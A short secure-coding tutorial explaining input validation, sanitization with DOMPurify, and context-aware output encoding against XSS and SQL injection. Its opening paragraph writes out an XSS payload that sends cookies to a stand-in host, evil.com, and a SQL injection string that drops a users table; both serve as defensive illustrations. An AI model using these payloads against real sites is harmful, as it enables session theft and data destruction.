Input Sanitization

A username field. Harmless, right? What if someone types <img src=x onerror=fetch('https://evil.com/steal?cookie='+document.cookie)> as their username? If your application renders that without sanitization, every user who views that profile executes the attacker's JavaScript, sending their session cookies to the attacker.

Or a search field where someone types '; DROP TABLE users; --. If your application builds SQL queries by concatenating user input, you just lost your users table.

These are not theoretical attacks. In 2018, British Airways was breached via a modified JavaScript file that skimmed credit card data from their payment form, 380,000 card numbers stolen. In 2008, a teenager exploited a SQL injection vulnerability in a US government website and accessed 3 million records. In 2024, researchers found stored XSS vulnerabilities in multiple popular WordPress plugins with over 50 million combined installations.

The cardinal rule: never trust user input. Every piece of data from outside your application, form fields, URL parameters, HTTP headers, file uploads, API request bodies, cookies, is untrusted until proven safe. Validate it, sanitize it, or reject it before it touches your database, your HTML, or your shell.

These three techniques are complementary, not alternatives. Each runs at a different point in the request lifecycle and catches different attack types.

Validation is the first gate. It answers a yes/no question: does this input match the expected format? An email must match RFC 5322. An age must be between 1 and 150. A username must be alphanumeric and 3-20 characters. If the input fails validation, reject it with a 400 error. No transformation, no attempt to fix it, just rejection.

Sanitization runs second, on inputs that passed validation but may contain dangerous content. For rich text fields (blog posts, comments with formatting), you cannot reject all HTML. Instead, you strip the dangerous parts. DOMPurify is the standard JavaScript library. It removes script tags, event handlers (onclick, onerror, onload), and dangerous attributes while keeping safe elements like bold, italic, and links.

Output encoding runs last, at render time. It escapes special characters for the specific output context. In HTML, < becomes <. In a JavaScript string literal, it becomes \x3c. In a URL query parameter, it becomes %3C. The encoding must match the context. HTML encoding in a JavaScript context does nothing. This is the most commonly missed defense.